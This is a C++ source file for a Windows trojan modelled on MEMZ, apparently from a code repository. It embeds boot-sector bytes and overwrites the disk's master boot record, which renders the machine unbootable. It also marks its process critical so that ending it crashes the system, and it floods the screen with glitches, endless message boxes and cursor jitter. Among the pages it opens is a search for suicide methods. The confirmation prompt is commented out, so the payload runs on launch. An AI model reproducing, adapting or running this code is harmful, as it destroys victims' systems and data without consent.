496 lines
23 KiB
C++
496 lines
23 KiB
C++
#include <Windows.h>
|
|
#include <random>
|
|
#include <cstdio>
|
|
#include <thread>
|
|
|
|
constexpr unsigned char code1[] = {
|
|
0xBB, 0xE0, 0x07, 0x8E, 0xC3, 0x8E, 0xDB, 0xB8, 0x04, 0x02, 0xB9, 0x02,
|
|
0x00, 0xB6, 0x00, 0xBB, 0x00, 0x00, 0xCD, 0x13, 0x31, 0xC0, 0x89, 0xC3,
|
|
0x89, 0xC1, 0x89, 0xC2, 0xBE, 0x00, 0x00, 0xBF, 0x00, 0x40, 0xAC, 0x81,
|
|
0xFE, 0x9E, 0x07, 0x73, 0x35, 0x3C, 0x80, 0x73, 0x03, 0xE9, 0x10, 0x00,
|
|
0x24, 0x7F, 0x88, 0xC1, 0xAC, 0xAA, 0xFE, 0xC9, 0x80, 0xF9, 0xFF, 0x75,
|
|
0xF7, 0xE9, 0xE2, 0xFF, 0x88, 0xC4, 0xAC, 0x89, 0xC3, 0xAC, 0x89, 0xF2,
|
|
0x89, 0xDE, 0x81, 0xC6, 0x00, 0x40, 0x88, 0xC1, 0xAC, 0xAA, 0xFE, 0xC9,
|
|
0x80, 0xF9, 0x00, 0x75, 0xF7, 0x89, 0xD6, 0xE9, 0xC4, 0xFF, 0xB0, 0xB6,
|
|
0xE6, 0x43, 0xB8, 0x03, 0x10, 0xB3, 0x00, 0xCD, 0x10, 0xBF, 0x00, 0x00,
|
|
0xBA, 0xC0, 0x9D, 0xB9, 0x00, 0xB8, 0x8E, 0xC1, 0xB8, 0x00, 0x00, 0xB9,
|
|
0xD0, 0x07, 0xF3, 0xAB, 0xBE, 0x9C, 0x9F, 0xBF, 0x00, 0x00, 0xE4, 0x61,
|
|
0x0C, 0x03, 0xE6, 0x61, 0xB3, 0x01, 0x52, 0xB4, 0x86, 0xB9, 0x00, 0x00,
|
|
0xBA, 0x00, 0x60, 0xCD, 0x15, 0x5A, 0x81, 0xFE, 0xE8, 0x9F, 0x7D, 0x04,
|
|
0xAC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1,
|
|
0xF1, 0x11, 0xF1, 0x00, 0x00, 0x4B, 0x00, 0x96, 0x04, 0x80, 0xFF, 0x00,
|
|
0x4F, 0x4F, 0x00, 0x9F, 0x4F, 0x00, 0xEA, 0x53, 0x82, 0x1F, 0xF1, 0x1F,
|
|
0x01, 0x42, 0x4E, 0x00, 0x4E, 0x50, 0x02, 0x12, 0x1F, 0x83, 0x10, 0x10,
|
|
0x10, 0x10, 0x02, 0x50, 0x04, 0x02, 0x50, 0x08, 0x80, 0x10, 0x02, 0x31,
|
|
0x1F, 0x83, 0x14, 0x14, 0x14, 0x14, 0x02, 0x80, 0x04, 0x83, 0x44, 0x44,
|
|
0x44, 0x44, 0x02, 0x88, 0x04, 0x02, 0x80, 0x0E, 0x87, 0x40, 0x0E, 0xEE,
|
|
0xEE, 0xED, 0xED, 0xED, 0xED, 0x02, 0xA2, 0x04, 0x02, 0xA5, 0x05, 0x82,
|
|
0xEE, 0xEE, 0x0E, 0x02, 0x60, 0x1E, 0x02, 0x88, 0x08, 0x83, 0x46, 0x46,
|
|
0x46, 0x46, 0x02, 0xD8, 0x04, 0x02, 0xD0, 0x0E, 0x8C, 0x00, 0xEE, 0xED,
|
|
0xDD, 0xDC, 0xDD, 0xDD, 0xDD, 0xDD, 0xCD, 0xDD, 0xDD, 0xCD, 0x02, 0xF3,
|
|
0x04, 0x83, 0xDD, 0xED, 0xEE, 0x00, 0x02, 0xB3, 0x1D, 0x83, 0x66, 0x66,
|
|
0x66, 0x66, 0x03, 0x20, 0x04, 0x03, 0x20, 0x08, 0x03, 0x22, 0x0E, 0x81,
|
|
0x00, 0xEE, 0x02, 0xFB, 0x05, 0x03, 0x41, 0x04, 0x83, 0xD0, 0x07, 0x07,
|
|
0xD0, 0x02, 0xF9, 0x04, 0x84, 0xEE, 0x00, 0x10, 0x07, 0x07, 0x02, 0xB2,
|
|
0x1A, 0x83, 0x6E, 0x6E, 0x6E, 0x6E, 0x03, 0x70, 0x04, 0x83, 0xEE, 0xEE,
|
|
0xEE, 0xEE, 0x03, 0x78, 0x04, 0x03, 0x70, 0x08, 0x85, 0x00, 0x07, 0x07,
|
|
0x00, 0xE0, 0xEE, 0x03, 0x3E, 0x08, 0x8F, 0xCD, 0xDD, 0xDD, 0x00, 0x77,
|
|
0x77, 0x77, 0x07, 0xD0, 0xD0, 0xD0, 0xE0, 0x07, 0x77, 0x77, 0x77, 0x03,
|
|
0x02, 0x1A, 0x03, 0x78, 0x08, 0x83, 0xEA, 0xEA, 0xEA, 0xEA, 0x03, 0xC8,
|
|
0x04, 0x03, 0xC0, 0x08, 0x85, 0x0A, 0x00, 0x70, 0x77, 0x07, 0x00, 0x03,
|
|
0x8E, 0x05, 0x02, 0xFA, 0x04, 0x81, 0xDC, 0xD0, 0x03, 0xA2, 0x04, 0x80,
|
|
0x77, 0x03, 0xEA, 0x04, 0x03, 0xEE, 0x04, 0x03, 0x55, 0x1A, 0x83, 0xAA,
|
|
0xAA, 0xAA, 0xAA, 0x04, 0x10, 0x04, 0x04, 0x10, 0x08, 0x04, 0x16, 0x0A,
|
|
0x85, 0x0A, 0x00, 0x70, 0x70, 0x00, 0xEE, 0x02, 0xF9, 0x07, 0x03, 0x98,
|
|
0x05, 0x80, 0xF0, 0x04, 0x38, 0x04, 0x80, 0x70, 0x04, 0x3B, 0x05, 0x03,
|
|
0xA6, 0x19, 0x83, 0xA3, 0xA3, 0xA3, 0xA3, 0x04, 0x60, 0x04, 0x83, 0x33,
|
|
0x33, 0x33, 0x33, 0x04, 0x68, 0x04, 0x04, 0x60, 0x0D, 0x83, 0x03, 0x00,
|
|
0xEE, 0xDE, 0x02, 0xF1, 0x04, 0x03, 0x96, 0x07, 0x81, 0x77, 0x70, 0x04,
|
|
0x3F, 0x04, 0x04, 0x8C, 0x04, 0x04, 0x46, 0x1A, 0x04, 0x68, 0x08, 0x87,
|
|
0x39, 0x39, 0x39, 0x39, 0xF9, 0x39, 0x39, 0x39, 0x04, 0xB0, 0x0C, 0x9A,
|
|
0x39, 0x30, 0x00, 0xE0, 0xEE, 0xEE, 0xDE, 0xDE, 0xDE, 0xDE, 0xDE, 0xDE,
|
|
0xDE, 0x0E, 0x70, 0x77, 0x77, 0x07, 0x07, 0x07, 0x07, 0x07, 0x07, 0x07,
|
|
0x77, 0x70, 0x01, 0x03, 0xA7, 0x19, 0x83, 0x99, 0x99, 0x99, 0x99, 0x05,
|
|
0x00, 0x04, 0x81, 0x99, 0x9F, 0x05, 0x04, 0x06, 0x05, 0x00, 0x09, 0x88,
|
|
0x99, 0x99, 0x99, 0x00, 0x77, 0x77, 0x70, 0x00, 0x01, 0x03, 0x88, 0x04,
|
|
0x83, 0x01, 0x01, 0x01, 0x01, 0x05, 0x21, 0x06, 0x05, 0x2B, 0x05, 0x03,
|
|
0x05, 0x1B, 0x83, 0x91, 0x91, 0x91, 0x91, 0x05, 0x50, 0x04, 0x05, 0x48,
|
|
0x10, 0x05, 0x5C, 0x04, 0x05, 0x27, 0x04, 0x05, 0x6A, 0x05, 0x05, 0x59,
|
|
0x07, 0x05, 0x6D, 0x07, 0x01, 0xB8, 0x98, 0x00, 0x9F, 0xF1, 0x06, 0x99,
|
|
0x73, 0x05, 0xAC, 0x93, 0x07, 0x7F, 0x06, 0x07, 0x7F, 0x4B, 0x82, 0xF1,
|
|
0x11, 0x1F, 0x05, 0xAB, 0xFF, 0x08, 0xAA, 0xBB, 0x02, 0x50, 0xF9, 0x03,
|
|
0x48, 0x05, 0x03, 0x4E, 0x05, 0x80, 0x11, 0x03, 0x53, 0x1C, 0x03, 0x70,
|
|
0x18, 0x84, 0xEE, 0xE0, 0xE0, 0xEE, 0xEE, 0x03, 0x8D, 0x0C, 0x03, 0x98,
|
|
0x08, 0x81, 0xE0, 0x00, 0x03, 0xA2, 0x1D, 0x03, 0xC0, 0x18, 0x04, 0x44,
|
|
0x04, 0x81, 0xE0, 0xE0, 0x03, 0xDE, 0x0A, 0x80, 0xDD, 0x03, 0xE8, 0x27,
|
|
0x04, 0x11, 0x1A, 0x83, 0x70, 0x70, 0x77, 0x77, 0x04, 0x2E, 0x0A, 0x04,
|
|
0x37, 0x28, 0x04, 0x60, 0x1C, 0x80, 0x03, 0x04, 0x7D, 0x0B, 0x04, 0x87,
|
|
0x28, 0x04, 0xC0, 0x0D, 0x04, 0xBD, 0x10, 0x80, 0x39, 0x04, 0xCE, 0x0B,
|
|
0x04, 0xD8, 0x27, 0x05, 0x10, 0x0C, 0x0C, 0xD0, 0x0C, 0x05, 0x17, 0x08,
|
|
0x05, 0x20, 0x0B, 0x05, 0x2A, 0x25, 0x05, 0x62, 0x06, 0x80, 0xF1, 0x05,
|
|
0x57, 0x15, 0x05, 0x71, 0x07, 0x05, 0x72, 0x11, 0x05, 0x82, 0x2A, 0x05,
|
|
0xAD, 0xFF, 0x06, 0xB1, 0xFF, 0x07, 0xB5, 0xAE, 0x81, 0x11, 0x11, 0x01,
|
|
0x92, 0x4F, 0x00, 0xDC, 0xB5, 0x0E, 0xFC, 0x9C, 0x00, 0x4B, 0x54, 0x0A,
|
|
0x59, 0x15, 0x12, 0x25, 0x0A, 0x84, 0x10, 0x0E, 0x0E, 0x0E, 0x0E, 0x12,
|
|
0x40, 0x04, 0x12, 0x40, 0x08, 0x0A, 0x81, 0x1F, 0x80, 0x11, 0x0A, 0xA9,
|
|
0x15, 0x12, 0x75, 0x09, 0x83, 0x00, 0xEE, 0xEE, 0xED, 0x0C, 0x04, 0x05,
|
|
0x80, 0xDC, 0x0B, 0xB5, 0x04, 0x0A, 0xCD, 0x05, 0x0A, 0xD1, 0x41, 0x0C,
|
|
0x01, 0x08, 0x82, 0xDD, 0xD0, 0xD0, 0x12, 0x99, 0x04, 0x12, 0xA1, 0x04,
|
|
0x0A, 0x2F, 0x1B, 0x0B, 0x49, 0x10, 0x13, 0x10, 0x0E, 0x0B, 0x5E, 0x08,
|
|
0x12, 0x9A, 0x04, 0x80, 0x00, 0x0B, 0x6C, 0x04, 0x03, 0x4F, 0x06, 0x0B,
|
|
0x75, 0x1B, 0x0B, 0x99, 0x0F, 0x0B, 0x98, 0x0F, 0x13, 0x2E, 0x05, 0x12,
|
|
0x9A, 0x05, 0x0C, 0x57, 0x07, 0x0C, 0xB1, 0x05, 0x0B, 0x74, 0x1C, 0x04,
|
|
0x10, 0x1A, 0x82, 0xA0, 0xA0, 0xA0, 0x03, 0xDD, 0x04, 0x13, 0x83, 0x06,
|
|
0x80, 0xCD, 0x13, 0x89, 0x05, 0x80, 0x7F, 0x0C, 0x64, 0x04, 0x13, 0xDB,
|
|
0x06, 0x0C, 0x68, 0x1F, 0x0C, 0x30, 0x11, 0x0B, 0x72, 0x04, 0x04, 0x2C,
|
|
0x05, 0x13, 0x32, 0x0B, 0x80, 0x77, 0x13, 0x91, 0x05, 0x80, 0x07, 0x14,
|
|
0x2C, 0x05, 0x13, 0xE8, 0x18, 0x0C, 0x89, 0x15, 0x14, 0x55, 0x04, 0x88,
|
|
0x03, 0x03, 0x03, 0x03, 0x33, 0x00, 0xEE, 0xEE, 0xDE, 0x12, 0xE2, 0x07,
|
|
0x80, 0x0D, 0x0C, 0x64, 0x05, 0x81, 0x70, 0x70, 0x04, 0x2B, 0x04, 0x80,
|
|
0x77, 0x0C, 0xB5, 0x1A, 0x05, 0x0E, 0x0E, 0x0C, 0xDD, 0x11, 0x84, 0x07,
|
|
0xE0, 0xE0, 0xE0, 0xE0, 0x14, 0xC0, 0x04, 0x87, 0xE0, 0xE0, 0xE0, 0x00,
|
|
0x70, 0x70, 0x70, 0x70, 0x14, 0xCC, 0x04, 0x80, 0x70, 0x04, 0xE5, 0x1B,
|
|
0x81, 0xF1, 0x1F, 0x11, 0xCF, 0x05, 0x05, 0x50, 0x17, 0x80, 0x00, 0x14,
|
|
0xD4, 0x04, 0x82, 0x01, 0x70, 0x70, 0x14, 0x38, 0x07, 0x15, 0x13, 0x05,
|
|
0x15, 0x13, 0x0A, 0x05, 0xAD, 0xFF, 0x0F, 0xE2, 0xE7, 0x0F, 0xD9, 0x93,
|
|
0x05, 0xAC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xE8, 0x10, 0x2B, 0xE8, 0x27, 0x53, 0x1F, 0x16, 0x80, 0xF9, 0x5B, 0x02,
|
|
0x04, 0x2C, 0x2A, 0x35, 0x53, 0x6F, 0x15, 0x80, 0xF1, 0x5B, 0x45, 0x05,
|
|
0x80, 0xF1, 0x2C, 0x7B, 0x31, 0x08, 0x4A, 0xFF, 0x57, 0x90, 0x97, 0x5C,
|
|
0xD1, 0x4F, 0x5D, 0x22, 0x4F, 0x87, 0x7E, 0x27, 0x12, 0x27, 0x4C, 0x46,
|
|
0xB8, 0x44, 0x5D, 0xC0, 0x05, 0x8E, 0x26, 0xB8, 0x24, 0x34, 0x24, 0xBF,
|
|
0x23, 0x34, 0x24, 0x00, 0x25, 0xB8, 0x44, 0x4C, 0x46, 0x5D, 0xC0, 0x08,
|
|
0x5D, 0xD4, 0x05, 0xA0, 0x24, 0x34, 0x24, 0x89, 0x23, 0xBF, 0x23, 0x89,
|
|
0x23, 0x34, 0x24, 0x4C, 0x46, 0x9D, 0x45, 0x7E, 0x27, 0x7E, 0x27, 0x70,
|
|
0x49, 0xF0, 0x27, 0x68, 0x28, 0x70, 0x29, 0x70, 0x69, 0x68, 0x48, 0xF0,
|
|
0x47, 0x5D, 0xFE, 0x06, 0x87, 0x68, 0x28, 0x7E, 0x27, 0x4C, 0x26, 0x9D,
|
|
0x25, 0x5E, 0x12, 0x04, 0x5E, 0x10, 0x04, 0x5E, 0x0E, 0x04, 0x85, 0x70,
|
|
0x29, 0x7E, 0x47, 0x4C, 0x46, 0x5E, 0x16, 0x0C, 0x83, 0xF0, 0x27, 0x7E,
|
|
0x27, 0x5E, 0x0A, 0x08, 0x81, 0xF0, 0x47, 0x5E, 0x0E, 0x08, 0x5E, 0x46,
|
|
0x04, 0x5E, 0x3C, 0x05, 0x84, 0x48, 0x70, 0x49, 0x68, 0x48, 0x5D, 0xF4,
|
|
0x66, 0x85, 0x70, 0x49, 0x99, 0x2C, 0x39, 0x2B, 0x5E, 0xC0, 0x06, 0x5E,
|
|
0xAA, 0x06, 0x83, 0x70, 0x29, 0x12, 0x27, 0x5D, 0xC8, 0x06, 0x81, 0x70,
|
|
0x49, 0x5E, 0xC6, 0x08, 0x81, 0x99, 0x2C, 0x5E, 0xD4, 0x04, 0x5E, 0xB6,
|
|
0x04, 0x87, 0x99, 0x2C, 0xFB, 0x2E, 0x24, 0x2E, 0x99, 0x2C, 0x5E, 0xC0,
|
|
0x0E, 0x5E, 0xCC, 0x08, 0x5F, 0x00, 0x04, 0x5E, 0xF6, 0x04, 0x83, 0x70,
|
|
0x29, 0x00, 0x2A, 0x5F, 0x0C, 0x06, 0x5E, 0xD2, 0x0C, 0x81, 0x00, 0x4A,
|
|
0x5E, 0xC0, 0x6C, 0xBC, 0x68, 0x48, 0x59, 0x6F, 0x75, 0x72, 0x20, 0x63,
|
|
0x6F, 0x6D, 0x70, 0x75, 0x74, 0x65, 0x72, 0x20, 0x68, 0x61, 0x73, 0x20,
|
|
0x62, 0x65, 0x65, 0x6E, 0x20, 0x74, 0x72, 0x61, 0x73, 0x68, 0x65, 0x64,
|
|
0x20, 0x62, 0x79, 0x20, 0x74, 0x68, 0x65, 0x20, 0x4D, 0x45, 0x4D, 0x5A,
|
|
0x20, 0x74, 0x72, 0x6F, 0x6A, 0x61, 0x6E, 0x2E, 0x20, 0x4E, 0x6F, 0x77,
|
|
0x20, 0x65, 0x6E, 0x6A, 0x6F, 0x5F, 0xBC, 0x06, 0x8A, 0x4E, 0x79, 0x61,
|
|
0x6E, 0x20, 0x43, 0x61, 0x74, 0x2E, 0x2E, 0x2E
|
|
};
|
|
|
|
const char *sites[] = {
|
|
"https://duckduckgo.com/?q=best+way+to+kill+yourself",
|
|
"https://duckduckgo.com/?q=how+2+remove+a+virus",
|
|
"https://duckduckgo.com/?q=mcafee+vs+norton",
|
|
"https://duckduckgo.com/?q=how+to+send+a+virus+to+my+friend",
|
|
"https://duckduckgo.com/?q=minecraft+hax+download+no+virus",
|
|
"https://duckduckgo.com/?q=how+to+get+money",
|
|
"https://duckduckgo.com/?q=bonzi+buddy+download+free",
|
|
"https://duckduckgo.com/?q=how+2+buy+weed",
|
|
"https://duckduckgo.com/?q=how+to+code+a+virus+in+visual+basic",
|
|
"https://duckduckgo.com/?q=what+happens+if+you+delete+system32",
|
|
"https://duckduckgo.com/?q=g3t+r3kt",
|
|
"https://duckduckgo.com/?q=batch+virus+download",
|
|
"https://duckduckgo.com/?q=virus.exe",
|
|
"https://duckduckgo.com/?q=internet+explorer+is+the+best+browser",
|
|
"https://duckduckgo.com/?q=facebook+hacking+tool+free+download+no+virus+working+2016",
|
|
"https://duckduckgo.com/?q=virus+builder+legit+free+download",
|
|
"https://duckduckgo.com/?q=how+to+create+your+own+ransomware",
|
|
"https://duckduckgo.com/?q=how+to+remove+memz+trojan+virus",
|
|
"https://duckduckgo.com/?q=my+computer+is+doing+weird+things+wtf+is+happenin+plz+halp",
|
|
"https://duckduckgo.com/?q=dank+memz",
|
|
"https://duckduckgo.com/?q=how+to+download+memz",
|
|
"https://duckduckgo.com/?q=half+life+3+release+date",
|
|
"https://duckduckgo.com/?q=is+illuminati+real",
|
|
"https://duckduckgo.com/?q=montage+parody+making+program+2016",
|
|
"https://duckduckgo.com/?q=the+memz+are+real",
|
|
"https://duckduckgo.com/?q=stanky+danky+maymays",
|
|
"https://duckduckgo.com/?q=john+cena+midi+legit+not+converted",
|
|
"https://duckduckgo.com/?q=vinesauce+meme+collection",
|
|
"https://duckduckgo.com/?q=skrillex+scay+onster+an+nice+sprites+midi",
|
|
"http://answers.microsoft.com/en-us/protect/forum/protect_other-protect_scanning/memz-malwarevirus-trojan-completely-destroying/268bc1c2-39f4-42f8-90c2-597a673b6b45",
|
|
"http://motherboard.vice.com/read/watch-this-malware-turn-a-computer-into-a-digital-hellscape",
|
|
"http://play.clubpenguin.com",
|
|
"http://pcoptimizerpro.com",
|
|
"http://softonic.com",
|
|
"calculator",
|
|
"notepad",
|
|
"cmd",
|
|
"write",
|
|
"regedit",
|
|
"explorer",
|
|
"taskmgr",
|
|
"msconfig",
|
|
"mspaint",
|
|
"devmgmt.msc",
|
|
"control",
|
|
"mmc",
|
|
};
|
|
|
|
constexpr size_t code1_len = sizeof(code1);
|
|
constexpr size_t code2_len = sizeof(code2);
|
|
|
|
typedef VOID(_stdcall* RtlSetProcessIsCritical) (
|
|
IN BOOLEAN NewValue,
|
|
OUT PBOOLEAN OldValue,
|
|
IN BOOLEAN IsWinlogon
|
|
);
|
|
|
|
template<typename T>
|
|
T random(T a, T b)
|
|
{
|
|
std::random_device rnd;
|
|
std::mt19937 mt(rnd());
|
|
std::uniform_int_distribution<> rand(a, b);
|
|
return rand(mt);
|
|
}
|
|
|
|
BOOL ProtectProcess(LPCSTR lpszPriv)
|
|
{
|
|
HANDLE hToken;
|
|
LUID luid;
|
|
TOKEN_PRIVILEGES tkprivs;
|
|
ZeroMemory(&tkprivs, sizeof(tkprivs));
|
|
|
|
if (!OpenProcessToken(GetCurrentProcess(), (TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY), &hToken))
|
|
return FALSE;
|
|
|
|
if (!LookupPrivilegeValueW(NULL, (LPCWSTR)lpszPriv, &luid)) {
|
|
CloseHandle(hToken); return FALSE;
|
|
}
|
|
|
|
tkprivs.PrivilegeCount = 1;
|
|
tkprivs.Privileges[0].Luid = luid;
|
|
tkprivs.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|
|
|
|
BOOL bRet = AdjustTokenPrivileges(hToken, FALSE, &tkprivs, sizeof(tkprivs), NULL, NULL);
|
|
CloseHandle(hToken);
|
|
return bRet;
|
|
}
|
|
|
|
BOOL ProtectProcess()
|
|
{
|
|
RtlSetProcessIsCritical fSetCritical;
|
|
|
|
HANDLE hDLL = LoadLibraryA("ntdll.dll");
|
|
if (hDLL != NULL)
|
|
{
|
|
ProtectProcess("SeDebugPrivilege");
|
|
(fSetCritical) = (RtlSetProcessIsCritical)GetProcAddress((HINSTANCE)hDLL, "RtlSetProcessIsCritical");
|
|
if (!fSetCritical) return 0;
|
|
fSetCritical(1, 0, 0);
|
|
return TRUE;
|
|
}
|
|
return FALSE;
|
|
}
|
|
|
|
DWORD WINAPI mbr(LPVOID lpstart)
|
|
{
|
|
HANDLE drive = CreateFileA("\\\\.\\PhysicalDrive0", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
|
|
|
|
if (drive == INVALID_HANDLE_VALUE)
|
|
ExitProcess(2);
|
|
|
|
unsigned char *bootcode = (unsigned char *)LocalAlloc(LMEM_ZEROINIT, 65536);
|
|
|
|
// Join the two code parts together
|
|
int i = 0;
|
|
for (; i < code1_len; i++)
|
|
*(bootcode + i) = *(code1 + i);
|
|
for (i = 0; i < code2_len; i++)
|
|
*(bootcode + i + 0x1fe) = *(code2 + i);
|
|
|
|
DWORD wb;
|
|
if (!WriteFile(drive, bootcode, 65536, &wb, NULL))
|
|
ExitProcess(3);
|
|
|
|
CloseHandle(drive);
|
|
return 0;
|
|
}
|
|
|
|
DWORD WINAPI message(LPVOID lpstart)
|
|
{
|
|
while (1) {
|
|
MessageBoxW(NULL, L"Still using this computer?", L"lol", MB_SYSTEMMODAL | MB_OK | MB_ICONWARNING);
|
|
Sleep(10000);
|
|
}
|
|
}
|
|
|
|
DWORD WINAPI colours(LPVOID lpstart)
|
|
{
|
|
HWND upWnd = GetForegroundWindow();
|
|
HDC upHdc = GetDC(upWnd);
|
|
HDC desktop = GetDC(NULL);
|
|
int xs = GetSystemMetrics(SM_CXSCREEN);
|
|
int ys = GetSystemMetrics(SM_CYSCREEN);
|
|
while (1) {
|
|
upWnd = GetForegroundWindow();
|
|
upHdc = GetDC(upWnd);
|
|
desktop = GetDC(NULL);
|
|
BitBlt(desktop, -1, 1, xs, ys, upHdc, 2, 2, 0x999999);
|
|
Sleep(500);
|
|
}
|
|
}
|
|
|
|
DWORD WINAPI glitches(LPVOID lpstart)
|
|
{
|
|
HDC hdc = GetDC(0);
|
|
int x = GetSystemMetrics(SM_CXSCREEN);
|
|
int y = GetSystemMetrics(SM_CYSCREEN);
|
|
while (1)
|
|
{
|
|
int x1 = random(0, x - 400);
|
|
int y1 = random(0, y - 400);
|
|
int x2 = random(0, x - 400);
|
|
int y2 = random(0, y - 400);
|
|
int w = random(0, 400);
|
|
int h = random(0, 400);
|
|
BitBlt(hdc, x1, y1, w, h, hdc, x2, y2, SRCCOPY);
|
|
Sleep(150);
|
|
}
|
|
}
|
|
|
|
DWORD WINAPI tunnel(LPVOID lpstart)
|
|
{
|
|
HDC hdc = GetDC(0);
|
|
RECT rect;
|
|
HWND hwnd = GetDesktopWindow();
|
|
while (1)
|
|
{
|
|
GetWindowRect(hwnd, &rect);
|
|
StretchBlt(hdc, 25, 25, rect.right - 50, rect.bottom - 50, hdc, 0, 0, rect.right, rect.bottom, SRCCOPY);
|
|
Sleep(100);
|
|
}
|
|
}
|
|
|
|
DWORD WINAPI invers(LPVOID lpstart)
|
|
{
|
|
HDC hdc = GetDC(0);
|
|
int x = GetSystemMetrics(SM_CXSCREEN);
|
|
int y = GetSystemMetrics(SM_CYSCREEN);
|
|
while (1)
|
|
{
|
|
BitBlt(hdc, 0, 0, x, y, hdc, 0, 0, NOTSRCCOPY);
|
|
Sleep(2000);
|
|
}
|
|
}
|
|
|
|
DWORD WINAPI drawwarning(LPVOID lpstart)
|
|
{
|
|
HDC hdc = GetDC(0);
|
|
int x = GetSystemMetrics(SM_CXSCREEN);
|
|
int y = GetSystemMetrics(SM_CYSCREEN);
|
|
while (1)
|
|
{
|
|
DrawIcon(hdc, random(0, x), random(0, y), LoadIcon(0, IDI_WARNING));
|
|
Sleep(100);
|
|
}
|
|
}
|
|
|
|
DWORD WINAPI drawerror(LPVOID lpstart)
|
|
{
|
|
HDC hdc = GetDC(0);
|
|
POINT pt;
|
|
while (1)
|
|
{
|
|
GetCursorPos(&pt);
|
|
DrawIcon(hdc, pt.x, pt.y, LoadIcon(0, IDI_HAND));
|
|
}
|
|
}
|
|
|
|
constexpr size_t nSites = sizeof(sites) / sizeof(void *);
|
|
|
|
void payloadExecute()
|
|
{
|
|
Sleep(20000);
|
|
while (1) {
|
|
ShellExecuteA(NULL, "open", (LPCSTR)sites[random((size_t)0, nSites)], NULL, NULL, SW_SHOWDEFAULT);
|
|
Sleep(10000);
|
|
}
|
|
}
|
|
|
|
void RandCursor()
|
|
{
|
|
POINT p;
|
|
GetCursorPos(&p);
|
|
int sxs,sys,sxl,syl;
|
|
sxs = p.x - 3;
|
|
sys = p.y - 3;
|
|
sxl = p.x + 3;
|
|
syl = p.y + 3;
|
|
SetCursorPos(random(sxs, sxl), random(sys, syl));
|
|
}
|
|
|
|
DWORD WINAPI infCursor(LPVOID lpstart)
|
|
{
|
|
while (1)
|
|
{
|
|
RandCursor();
|
|
Sleep(30);
|
|
}
|
|
}
|
|
|
|
int __stdcall WinMain(HINSTANCE(a), HINSTANCE(b), LPSTR(c), int(d))
|
|
{
|
|
std::thread th(payloadExecute);
|
|
ProtectProcess();
|
|
CreateThread(0, 0, mbr, 0, 0, 0);
|
|
Sleep(60000);
|
|
CreateThread(0, 0, invers, 0, 0, 0);
|
|
Sleep(30000);
|
|
CreateThread(0, 0, message, 0, 0, 0);
|
|
Sleep(30000);
|
|
CreateThread(0, 0, infCursor, 0, 0, 0);
|
|
CreateThread(0, 0, drawerror, 0, 0, 0);
|
|
CreateThread(0, 0, drawwarning, 0, 0, 0);
|
|
Sleep(40000);
|
|
CreateThread(0, 0, tunnel, 0, 0, 0);
|
|
Sleep(50000);
|
|
CreateThread(0, 0, glitches, 0, 0, 0);
|
|
CreateThread(0, 0, colours, 0, 0, 0);
|
|
Sleep(-1);
|
|
/*if (MessageBoxA(NULL, "The software you just executed is considered malware,This malware will harm your computer and makes it unusable,If you are seeing this message without knowing what you just executed, simply press No and nothing will happen,If you know what this malware does and are using a safe environment to test, press Yes to start it", "Warning!", MB_YESNO) == IDYES)
|
|
{
|
|
ProtectProcess();
|
|
CreateThread(0, 0, mbr, 0, 0, 0);
|
|
Sleep(30000);
|
|
CreateThread(0, 0, drawerror, 0, 0, 0);
|
|
Sleep(30000);
|
|
CreateThread(0, 0, message, 0, 0, 0);
|
|
CreateThread(0, 0, drawwarning, 0, 0, 0);
|
|
Sleep(30000);
|
|
CreateThread(0, 0, invers, 0, 0, 0);
|
|
Sleep(40000);
|
|
CreateThread(0, 0, tunnel, 0, 0, 0);
|
|
Sleep(50000);
|
|
CreateThread(0, 0, glitches, 0, 0, 0);
|
|
CreateThread(0, 0, colours, 0, 0, 0);
|
|
Sleep(-1);
|
|
}
|
|
else
|
|
{
|
|
MessageBoxA(NULL, "ok!", "", MB_OK);
|
|
}*/
|
|
return 0;
|
|
}
|